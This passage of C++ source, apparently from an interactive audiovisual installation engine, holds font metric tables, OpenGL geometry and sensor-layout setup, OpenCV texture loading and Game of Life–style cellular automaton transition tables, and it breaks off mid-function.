1,46,83,1,1,18,18,83,1,1,83, 72,83,83,83,18,18,46,59,18,59,32,18,59,32,18,83,59,83,83,72, 59,1,59,59,18,59,59,59,32,59,46,32,46,46,46,46,1,46,18,46, 18,46,32,46,32,32,32,32,1,32,1,83,83,83,59,32,72,18,72,32, 18,46,46,1,46,46,72,72,72,1,1,72,72,1,59,72,72,72,1,72, 1,1,1,83, }; GLubyte stb__arial_18_usascii_a[95]={ 72,72,92,143,143,229,172,49, 86,86,100,151,72,86,72,72,143,143,143,143,143,143,143,143, 143,143,72,72,151,151,151,143,255,172,172,186,186,172,157,201, // 143,143,72,72,151,151,151,143,262,172,172,186,186,172,157,201, 186,72,129,172,143,215,186,201,172,201,186,172,157,186,172,243, 172,172,157,72,72,72,121,143,86,143,143,129,143,143,72,143, 143,57,57,129,57,215,143,143,143,143,86,129,72,143,129,186, 129,129,129,86,67,86,151, }; ///////////////////////////////////////////////////////////////// // GEOMETRY INITIALIZATION ///////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////// // INTIALIZATION OF THE TWO QUADS USED FOR DISPLAY: DRAWING AND COMPOSITION QUADS void pg_initGeometry_quads( void ) { ///////////////////////////////////////////////////////////////////// // QUAD FOR DRAWING AND COMPOSITION // point positions and texture coordinates quadDraw_points[1] = (float)windowHeight; quadDraw_points[3] = (float)singleWindowWidth; quadDraw_points[10] = (float)windowHeight; quadDraw_points[12] = (float)singleWindowWidth; quadDraw_points[13] = (float)windowHeight; quadDraw_points[15] = (float)singleWindowWidth; quadDraw_texCoords[1] = (float)windowHeight; quadDraw_texCoords[2] = (float)singleWindowWidth; quadDraw_texCoords[7] = (float)windowHeight; quadDraw_texCoords[8] = (float)singleWindowWidth; quadDraw_texCoords[9] = (float)windowHeight; quadDraw_texCoords[10] = (float)singleWindowWidth; // vertex buffer objects and vertex array unsigned int quadDraw_points_vbo = 0; glGenBuffers (1, &quadDraw_points_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadDraw_points_vbo); glBufferData (GL_ARRAY_BUFFER, 3 * 3 * nbFaces * sizeof (float), quadDraw_points, GL_STATIC_DRAW); unsigned int quadDraw_texCoord_vbo = 0; glGenBuffers (1, &quadDraw_texCoord_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadDraw_texCoord_vbo); glBufferData (GL_ARRAY_BUFFER, 2 * 3 * nbFaces * sizeof (float), quadDraw_texCoords, GL_STATIC_DRAW); quadDraw_vao = 0; glGenVertexArrays (1, &quadDraw_vao); glBindVertexArray (quadDraw_vao); // vertex positions are location 0 glBindBuffer (GL_ARRAY_BUFFER, quadDraw_points_vbo); glVertexAttribPointer (0, 3, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (0); // texture coordinates are location 1 glBindBuffer (GL_ARRAY_BUFFER, quadDraw_texCoord_vbo); glVertexAttribPointer (1, 2, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (1); // don't forget this! printOglError( 22 ); ///////////////////////////////////////////////////////////////////// // QUAD FOR FINAL RENDERING (POSSIBLY DOUBLE) // point positions and texture coordinates quadFinal_points[1] = (float)windowHeight; quadFinal_points[3] = (float)doubleWindowWidth; quadFinal_points[10] = (float)windowHeight; quadFinal_points[12] = (float)doubleWindowWidth; quadFinal_points[13] = (float)windowHeight; quadFinal_points[15] = (float)doubleWindowWidth; quadFinal_texCoords[1] = (float)windowHeight; quadFinal_texCoords[2] = (float)doubleWindowWidth; quadFinal_texCoords[7] = (float)windowHeight; quadFinal_texCoords[8] = (float)doubleWindowWidth; quadFinal_texCoords[9] = (float)windowHeight; quadFinal_texCoords[10] = (float)doubleWindowWidth; // vertex buffer objects and vertex array unsigned int quadFinal_points_vbo = 0; glGenBuffers (1, &quadFinal_points_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadFinal_points_vbo); glBufferData (GL_ARRAY_BUFFER, 3 * 3 * nbFaces * sizeof (float), quadFinal_points, GL_STATIC_DRAW); unsigned int quadFinal_texCoord_vbo = 0; glGenBuffers (1, &quadFinal_texCoord_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadFinal_texCoord_vbo); glBufferData (GL_ARRAY_BUFFER, 2 * 3 * nbFaces * sizeof (float), quadFinal_texCoords, GL_STATIC_DRAW); quadFinal_vao = 0; glGenVertexArrays (1, &quadFinal_vao); glBindVertexArray (quadFinal_vao); // vertex positions are location 0 glBindBuffer (GL_ARRAY_BUFFER, quadFinal_points_vbo); glVertexAttribPointer (0, 3, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (0); // texture coordinates are location 1 glBindBuffer (GL_ARRAY_BUFFER, quadFinal_texCoord_vbo); glVertexAttribPointer (1, 2, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (1); // don't forget this! printf("Geometry initialized %dx%d & %dx%d\n" , singleWindowWidth , windowHeight , doubleWindowWidth , windowHeight ); printOglError( 23 ); ///////////////////////////////////////////////////////////////////// // QUADS FOR SENSORS // point positions and texture coordinates quadSensor_points[0] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[1] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[3] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[4] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[6] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[7] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[9] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[10] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[12] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[13] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[15] = (float)PG_SENSOR_GEOMETRY_WIDTH; quadSensor_points[16] = (float)-PG_SENSOR_GEOMETRY_WIDTH; quadSensor_texCoords[1] = (float)PG_SENSOR_TEXTURE_WIDTH; quadSensor_texCoords[2] = (float)PG_SENSOR_TEXTURE_WIDTH; quadSensor_texCoords[7] = (float)PG_SENSOR_TEXTURE_WIDTH; quadSensor_texCoords[8] = (float)PG_SENSOR_TEXTURE_WIDTH; quadSensor_texCoords[9] = (float)PG_SENSOR_TEXTURE_WIDTH; quadSensor_texCoords[10] = (float)PG_SENSOR_TEXTURE_WIDTH; /////////////////////////////////////////////////////////////////////////////////////// // vertex buffer objects and vertex array /////////////////////////////////////////////////////////////////////////////////////// unsigned int quadSensor_points_vbo = 0; glGenBuffers (1, &quadSensor_points_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadSensor_points_vbo); glBufferData (GL_ARRAY_BUFFER, 3 * 3 * nbFaces * sizeof (float), quadSensor_points, GL_STATIC_DRAW); unsigned int quadSensor_texCoord_vbo = 0; glGenBuffers (1, &quadSensor_texCoord_vbo); glBindBuffer (GL_ARRAY_BUFFER, quadSensor_texCoord_vbo); glBufferData (GL_ARRAY_BUFFER, 2 * 3 * nbFaces * sizeof (float), quadSensor_texCoords, GL_STATIC_DRAW); quadSensor_vao = 0; glGenVertexArrays (1, &quadSensor_vao); glBindVertexArray (quadSensor_vao); // vertex positions are location 0 glBindBuffer (GL_ARRAY_BUFFER, quadSensor_points_vbo); glVertexAttribPointer (0, 3, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (0); // texture coordinates are location 1 glBindBuffer (GL_ARRAY_BUFFER, quadSensor_texCoord_vbo); glVertexAttribPointer (1, 2, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (1); // don't forget this! // printf("Sensor size %d\n" , PG_SENSOR_GEOMETRY_WIDTH ); printOglError( 23 ); /////////////////////////////////////////////////////////////////////////////////////// // sensor layouts /////////////////////////////////////////////////////////////////////////////////////// int indLayout; int indSens; // square grid indLayout = 0; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { int heightInt = indSens / 5 - 2; int widthInt = indSens % 5 - 2; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f + widthInt * 150.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f + heightInt * 150.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; } // circular grid indLayout = 1; // central sensor indSens = 0; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; for( indSens = 1 ; indSens < 9 ; indSens++ ) { float radius = windowHeight / 5.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f + radius * (float)cos( indSens * 2.0 * M_PI / 8.0f ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f + radius * (float)sin( indSens * 2.0 * M_PI / 8.0f ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; } for( indSens = 9 ; indSens < PG_NB_SENSORS ; indSens++ ) { float radius = windowHeight / 3.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f + radius * (float)cos( indSens * 2.0 * M_PI / 16.0f ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f + radius * (float)sin( indSens * 2.0 * M_PI / 16.0f ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; } // radial grid indLayout = 2; // central sensor indSens = 0; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; for( int indRay = 0 ; indRay < 6 ; indRay++ ) { float angle = indRay * 2.0f * (float)M_PI / 6.0f; for( indSens = 1 + indRay * 4 ; indSens < 1 + indRay * 4 + 4 ; indSens++ ) { float radius = ((indSens - 1) % 4 + 1) * windowHeight / 10.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f + radius * (float)cos( angle ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f + radius * (float)sin( angle ); sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; } } // conflated in the center // will be transformed into a random layout each time it is invoked indLayout = 3; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens ] = singleWindowWidth/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 1 ] = windowHeight/2.0f; sensorLayouts[ indLayout * 3 * PG_NB_SENSORS + 3 * indSens + 2 ] = 0.1f; } /////////////////////////////////////////////////////////////////////////////////////// // sensor activations /////////////////////////////////////////////////////////////////////////////////////// int indActivation; // central activation indActivation = 0; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = false; } sensorActivations[ indActivation * PG_NB_SENSORS + 12 ] = true; // corners activation indActivation = 1; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = false; } sensorActivations[ indActivation * PG_NB_SENSORS + 0 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 4 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 20 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 24 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 12 ] = true; // central square activation indActivation = 2; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = false; } sensorActivations[ indActivation * PG_NB_SENSORS + 6 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 7 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 8 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 11 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 12 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 13 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 16 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 17 ] = true; sensorActivations[ indActivation * PG_NB_SENSORS + 18 ] = true; // every second activation indActivation = 3; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { if( indSens % 2 == 0 ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = true; } else { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = false; } } // full activation indActivation = 4; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = true; } // central activation and activation of an additional sensor each 10 seconds indActivation = 5; for( indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { sensorActivations[ indActivation * PG_NB_SENSORS + indSens ] = false; } sensorActivations[ indActivation * PG_NB_SENSORS + 12 ] = true; /////////////////////////////////////////////////////////////////////////////////////// // sample setup /////////////////////////////////////////////////////////////////////////////////////// // sample choice sample_setUp_interpolation(); // float sample_choice[ PG_NB_SENSORS]; // // all possible sensor layouts // float sample_setUps[ PG_NB_MAX_SAMPLE_SETUPS][ PG_NB_SENSORS ] = // {{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25}, // {26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50}, // {51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75}}; } void sample_setUp_interpolation( void ) { float indSetUp = std::max( 0.0f , std::min( sample_setUp , (float)(PG_NB_MAX_SAMPLE_SETUPS - 1) ) ); float sample_setUp_integerPart = floor( indSetUp ); float sample_setUp_floatPart = indSetUp - sample_setUp_integerPart; int intIndSetup = (int)(sample_setUp_integerPart); // copies the setup that corresponds to the integer part for( int ind = 0 ; ind < PG_NB_SENSORS ; ind++ ) { sample_choice[ ind ] = sample_setUps[ intIndSetup ][ ind ]; } // for the decimal part, copies hybrid sensors of upper level with a ratio // proportional to the ratio between floor and current value if( sample_setUp_floatPart > 0.0f ) { int nbhybridSensors = (int)round( sample_setUp_floatPart * PG_NB_SENSORS ); // book keeping of hybridized sensors bool hybridized[PG_NB_SENSORS]; for( int ind = 0 ; ind < PG_NB_SENSORS ; ind++ ) { hybridized[ ind ] = false; } for( int indSensor = 0 ; indSensor < std::min( PG_NB_SENSORS , nbhybridSensors ) ; indSensor++ ) { int count = (int)round( ((float)rand()/(float)RAND_MAX) * PG_NB_SENSORS ); for( int ind = 0 ; ind < PG_NB_SENSORS ; ind++ ) { int translatedIndex = (count + PG_NB_SENSORS) % PG_NB_SENSORS; if( !hybridized[ translatedIndex ] ) { sample_choice[ translatedIndex ] = sample_setUps[ intIndSetup + 1 ][ translatedIndex ]; hybridized[ translatedIndex ] = true; } } } } std::string message = "/sample_setUp"; std::string format = ""; for( int indSens = 0 ; indSens < PG_NB_SENSORS - 1 ; indSens++ ) { format += "i "; } format += "i"; // sensor readback for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { std::string float_str = std::to_string((long long)sample_choice[indSens]); // float_str.resize(4); message += " " + float_str; } pg_send_message_udp( (char *)format.c_str() , (char *)message.c_str() , (char *)"udp_SC_send" ); // std::cout << "format: " << format << "\n"; // std::cout << "msg: " << message << "\n"; } ///////////////////////////////////////////////////////////////// // INTIALIZATION OF THE TACK LINES USED TO DISPLAY A TRACK AS A STRIP void pg_initGeometry_track_line( int indTrack , bool is_target ) { // source track if( !is_target && TrackStatus_source[ indTrack ].nbRecordedFrames > 0 ) { if( line_tracks_points[indTrack] ) { // memory release delete [] line_tracks_points[indTrack]; } line_tracks_points[indTrack] = new float[TrackStatus_source[ indTrack ].nbRecordedFrames * 3]; if(line_tracks_points[indTrack] == NULL) { strcpy( ErrorStr , "Track line point allocation error!" ); ReportError( ErrorStr ); throw 425; } // assigns the index to the coordinates to be able to recover the coordinates from the texture through the point index for(int indFrame = 0 ; indFrame < TrackStatus_source[ indTrack ].nbRecordedFrames ; indFrame++ ) { line_tracks_points[indTrack][ indFrame * 3 ] = (float)indFrame; } printOglError( 41 ); // vertex buffer objects unsigned int line_tracks_points_vbo = 0; glGenBuffers (1, &line_tracks_points_vbo); glBindBuffer (GL_ARRAY_BUFFER, line_tracks_points_vbo); glBufferData (GL_ARRAY_BUFFER, 3 * TrackStatus_source[ indTrack ].nbRecordedFrames * sizeof (float), line_tracks_points[indTrack], GL_STATIC_DRAW); line_tracks_vao[indTrack] = 0; glGenVertexArrays (1, &(line_tracks_vao[indTrack])); glBindVertexArray (line_tracks_vao[indTrack]); // vertex positions are location 0 glBindBuffer (GL_ARRAY_BUFFER, line_tracks_points_vbo); glVertexAttribPointer (0, 3, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (0); printf("Source track geometry initialized track %d: size %d\n" , indTrack , TrackStatus_source[ indTrack ].nbRecordedFrames ); printOglError( 42 ); } // target track if( is_target && TrackStatus_target[ indTrack ].nbRecordedFrames > 0 ) { if( line_tracks_target_points[indTrack] ) { // memory release delete [] line_tracks_target_points[indTrack]; } line_tracks_target_points[indTrack] = new float[TrackStatus_target[ indTrack ].nbRecordedFrames * 3]; if(line_tracks_target_points[indTrack] == NULL) { strcpy( ErrorStr , "Target track line point allocation error!" ); ReportError( ErrorStr ); throw 425; } // assigns the index to the coordinates to be able to recover the coordinates from the texture through the point index for(int indFrame = 0 ; indFrame < TrackStatus_target[ indTrack ].nbRecordedFrames ; indFrame++ ) { line_tracks_target_points[indTrack][ indFrame * 3 ] = (float)indFrame; } printOglError( 43 ); // vertex buffer objects unsigned int line_tracks_target_points_vbo = 0; glGenBuffers (1, &line_tracks_target_points_vbo); glBindBuffer (GL_ARRAY_BUFFER, line_tracks_target_points_vbo); glBufferData (GL_ARRAY_BUFFER, 3 * TrackStatus_target[ indTrack ].nbRecordedFrames * sizeof (float), line_tracks_target_points[indTrack], GL_STATIC_DRAW); line_tracks_target_vao[indTrack] = 0; glGenVertexArrays (1, &(line_tracks_target_vao[indTrack])); glBindVertexArray (line_tracks_target_vao[indTrack]); // vertex positions are location 0 glBindBuffer (GL_ARRAY_BUFFER, line_tracks_target_points_vbo); glVertexAttribPointer (0, 3, GL_FLOAT, GL_FALSE, 0, (GLubyte*)NULL); glEnableVertexAttribArray (0); printf("Target track geometry initialized track %d: size %d\n" , indTrack , TrackStatus_target[ indTrack ].nbRecordedFrames ); printOglError( 44 ); } } ///////////////////////////////////////////////////////////////// // TEXTURE INITIALIZATION ///////////////////////////////////////////////////////////////// // general texture allocation void *pg_generateTexture( GLuint *textureID , pg_TextureFormat texture_format , int sizeX , int sizeY ) { glGenTextures( 1, textureID ); // rgb POT raw image allocation (without alpha channel) // printf( "Texture %dx%d nb_attachments %d\n" , // sizeX , sizeY , nb_attachments ); void *returnvalue = NULL; // Return from the function if no file name was passed in // Load the image and store the data if( texture_format == pg_byte_tex_format ) { GLubyte *ptr = new GLubyte[ sizeX * sizeY * 4 ]; // If we can't load the file, quit! if(ptr == NULL) { strcpy( ErrorStr , "Texture allocation error!" ); ReportError( ErrorStr ); throw 425; } int indTex = 0; for( int i = 0 ; i < sizeX * sizeY ; i++ ) { ptr[ indTex ] = 0; ptr[ indTex + 1 ] = 0; ptr[ indTex + 2 ] = 0; ptr[ indTex + 3 ] = 0; indTex += 4; } returnvalue = (void *)ptr; } else if( texture_format == pg_float_tex_format ) { float *ptr = new float[ sizeX * sizeY * 4 ]; // If we can't load the file, quit! if(ptr == NULL) { strcpy( ErrorStr , "Texture allocation error!" ); ReportError( ErrorStr ); throw 425; } int indTex = 0; for( int i = 0 ; i < sizeX * sizeY ; i++ ) { ptr[ indTex ] = 0.0f; ptr[ indTex + 1 ] = 0.0f; ptr[ indTex + 2 ] = 0.0f; ptr[ indTex + 3 ] = 0.0f; indTex += 4; } returnvalue = (void *)ptr; } return returnvalue; } ///////////////////////////////////////////// // texture loading bool pg_loadTexture3D( string filePrefixName , string fileSuffixName , int nbTextures , int bytesperpixel , bool invert , GLuint *textureID , GLint components, GLenum format , GLenum texturefilter , int width , int height , int depth ) { // data type is assumed to be GL_UNSIGNED_BYTE char filename[1024]; long size = width * height * bytesperpixel; GLubyte * bitmap = new unsigned char[size * nbTextures]; long ind = 0; glEnable(GL_TEXTURE_3D); glGenTextures( 1, textureID ); for( int indTex = 0 ; indTex < nbTextures ; indTex++ ) { sprintf( filename , "%s_%03d%s" , filePrefixName.c_str() , indTex + 1 , fileSuffixName.c_str() ); printf( "Loading %s\n" , filename ); // texture load through OpenCV #ifndef OPENCV_3 cv::Mat img = cv::imread( filename, CV_LOAD_IMAGE_UNCHANGED); // Read the file int colorTransform = (img.channels() == 4) ? CV_BGRA2RGBA : (img.channels() == 3) ? CV_BGR2RGB : CV_GRAY2RGB; // int glColorType = (img.channels() == 4) ? GL_RGBA : GL_RGB; cv::cvtColor(img, img, colorTransform); cv::Mat result; if( invert ) cv::flip(img, result , 0); // vertical flip else result = img; #else cv::Mat img = cv::imread( filename, cv::IMREAD_UNCHANGED ); // Read the file int colorTransform = (img.channels() == 4) ? cv::COLOR_BGRA2RGBA : (img.channels() == 3) ? cv::COLOR_BGR2RGB : cv::COLOR_GRAY2RGB; // int glColorType = (img.channels() == 4) ? GL_RGBA : GL_RGB; cv::cvtColor(img, img, colorTransform); cv::Mat result; if( invert ) cv::flip(img, result , 0); // vertical flip else result = img; #endif if(! result.data ) { // Check for invalid input sprintf( ErrorStr , "Could not open or find the image %s!" , filename ); ReportError( ErrorStr ); throw 425; return false; } if( result.cols != width || result.rows != height ) { // Check for invalid input sprintf( ErrorStr , "Unexpected image size %s %d/%d %d/%d!" , filename , result.cols , width , result.rows , height); ReportError( ErrorStr ); throw 425; return false; } GLubyte * ptr = result.data; for(long int i = 0; i < size ; i++) bitmap[ind++] = ptr[i]; } // printf("Final index %ld / %ld\n" , ind , size * nbTextures ); // glActiveTexture (GL_TEXTURE0 + index); glBindTexture(GL_TEXTURE_3D, *textureID ); glTexParameterf(GL_TEXTURE_3D, GL_TEXTURE_MIN_FILTER, (float)texturefilter); glTexParameterf(GL_TEXTURE_3D, GL_TEXTURE_MAG_FILTER, (float)texturefilter); glTexParameterf(GL_TEXTURE_3D, GL_TEXTURE_WRAP_S , GL_REPEAT ); glTexParameterf(GL_TEXTURE_3D, GL_TEXTURE_WRAP_T, GL_REPEAT ); glTexParameterf(GL_TEXTURE_3D, GL_TEXTURE_WRAP_R, GL_REPEAT ); glTexImage3D(GL_TEXTURE_3D, // Type of texture 0, // Pyramid level (for mip-mapping) - 0 is the top level components, // Components: Internal colour format to convert to width, // Image width height, // Image heigh depth, // Image S 0, // Border width in pixels (can either be 1 or 0) format, // Format: Input image format (i.e. GL_RGB, GL_RGBA, GL_BGR etc.) GL_UNSIGNED_BYTE, // Image data type bitmap ); // The actual image data itself printOglError( 0 ); // memory release delete [] bitmap; // glGenerateMipmap(GL_TEXTURE_2D); return true; } bool pg_loadTexture( string fileName , cv::Mat *image , GLuint *textureID , bool is_rectangle , bool invert , GLint components , GLenum format , GLenum datatype , GLenum texturefilter, int width , int height ) { printf( "Loading %s\n" , fileName.c_str() ); glEnable(GL_TEXTURE_2D); glGenTextures( 1, textureID ); // texture load through OpenCV #ifndef OPENCV_3 cv::Mat img = cv::imread( fileName, CV_LOAD_IMAGE_UNCHANGED); // Read the file int colorTransform = (img.channels() == 4) ? CV_BGRA2RGBA : (img.channels() == 3) ? CV_BGR2RGB : CV_GRAY2RGB; // int glColorType = (img.channels() == 4) ? GL_RGBA : GL_RGB; if( img.channels() >= 3 ) { cv::cvtColor(img, img, colorTransform); } if( invert ) cv::flip(img, *image , 0); // vertical flip else *image = img; #else cv::Mat img = cv::imread( fileName, cv::IMREAD_UNCHANGED); // Read the file int colorTransform = (img.channels() == 4) ? cv::COLOR_BGRA2RGBA : (img.channels() == 3) ? cv::COLOR_BGR2RGB : cv::COLOR_GRAY2RGB; // int glColorType = (img.channels() == 4) ? GL_RGBA : GL_RGB; if( img.channels() >= 3 ) { cv::cvtColor(img, img, colorTransform); } if( invert ) cv::flip(img, *image , 0); // vertical flip else *image = img; #endif if(! image->data ) { // Check for invalid input sprintf( ErrorStr , "Could not open or find the image %s!" , fileName.c_str() ); ReportError( ErrorStr ); throw 425; return false; } if( image->cols != width || image->rows != height ) { // Check for invalid input sprintf( ErrorStr , "Unexpected image size %s %d/%d %d/%d!" , fileName.c_str() , image->cols , width , image->rows , height); ReportError( ErrorStr ); throw 425; return false; } // glActiveTexture (GL_TEXTURE0 + index); if( is_rectangle ) { glEnable(GL_TEXTURE_RECTANGLE); glBindTexture( GL_TEXTURE_RECTANGLE, *textureID ); glTexParameterf(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MIN_FILTER, (GLfloat)texturefilter); glTexParameterf(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MAG_FILTER, (GLfloat)texturefilter); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); glTexImage2D(GL_TEXTURE_RECTANGLE, // Type of texture 0, // Pyramid level (for mip-mapping) - 0 is the top level components, // Components: Internal colour format to convert to image->cols, // Image width image->rows, // Image heigh 0, // Border width in pixels (can either be 1 or 0) format, // Format: Input image format (i.e. GL_RGB, GL_RGBA, GL_BGR etc.) datatype, // Image data type image->ptr()); // The actual image data itself printOglError( 4 ); } else { glEnable(GL_TEXTURE_2D); glBindTexture( GL_TEXTURE_2D, *textureID ); glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER, (float)texturefilter); glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER, (float)texturefilter); glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S , GL_REPEAT ); glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT ); glTexImage2D(GL_TEXTURE_2D, // Type of texture 0, // Pyramid level (for mip-mapping) - 0 is the top level components, // Components: Internal colour format to convert to image->cols, // Image width image->rows, // Image height 0, // Border width in pixels (can either be 1 or 0) format, // Format: Input image format (i.e. GL_RGB, GL_RGBA, GL_BGR etc.) datatype, // Image data type image->ptr()); // The actual image data itself printOglError( 5 ); } // glGenerateMipmap(GL_TEXTURE_2D); return true; } void pg_CA_data_table_values( GLuint textureID , GLubyte * data_table , int width , int height ) { GLubyte *ptr = data_table; //vec4 GOL_params[9] //=vec4[9](vec4(0,0,0,0),vec4(3,3,2,3), // vec4(3,6,2,3),vec4(1,1,1,2), // vec4(1,2,3,4),vec4(1,2,4,6), // vec4(2,10,4,6),vec4(2,6,5,6), // vec4(2,7,5,7)); //////////////////////////////////////////// // GAME OF LIFE FAMILY: 1 neutral + 8 variants GLubyte transition_tableGOL[9*2*10] = { 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0, 0,0,1,1,0,0,0,0,0,0, 0,0,0,1,1,1,1,0,0,0, 0,0,1,1,0,0,0,0,0,0, 0,1,0,0,0,0,0,0,0,0, 0,1,1,0,0,0,0,0,0,0, 0,1,1,0,0,0,0,0,0,0, 0,0,0,1,1,0,0,0,0,0, 0,1,1,0,0,0,0,0,0,0, 0,0,0,0,1,1,1,0,0,0, 0,0,1,1,1,1,1,1,1,1, 0,0,0,0,1,1,1,0,0,0, 0,0,1,1,1,1,1,0,0,0, 0,0,0,0,0,1,1,0,0,0, 0,0,1,1,1,1,1,1,0,0, 0,0,0,0,0,1,1,1,0,0, }; for( int indGOL = 0 ; indGOL < 9 ; indGOL++ ) { ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 2*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableGOL[indGOL * 2*10 + ind - 1]; } ptr += 4 * width; } //////////////////////////////////////////// // TOTALISTIC FAMILY: 1 neutral + 8 variants // SubType 0: neutral ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = 0; } ptr += 4 * width; // SubType 1: CARS GLubyte transition_tableCARS[16*10] = { 0,2,15,6,8,2,4,6,8,0, 0,0,0,0,0,0,0,0,0,0, 4,4,4,4,4,4,4,4,4,0, 0,0,0,0,0,0,0,0,0,0, 0,6,6,6,6,6,6,6,6,0, 0,0,0,0,0,0,0,0,0,0, 8,8,8,8,8,8,8,8,8,0, 0,0,0,0,0,0,0,0,0,0, 10,10,10,10,10,10,10,10,10,0, 0,0,0,0,0,0,0,0,0,0, 12,12,12,12,12,12,12,12,12,0, 0,0,0,0,0,0,0,0,0,0, 14,14,14,14,14,14,14,14,14,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( 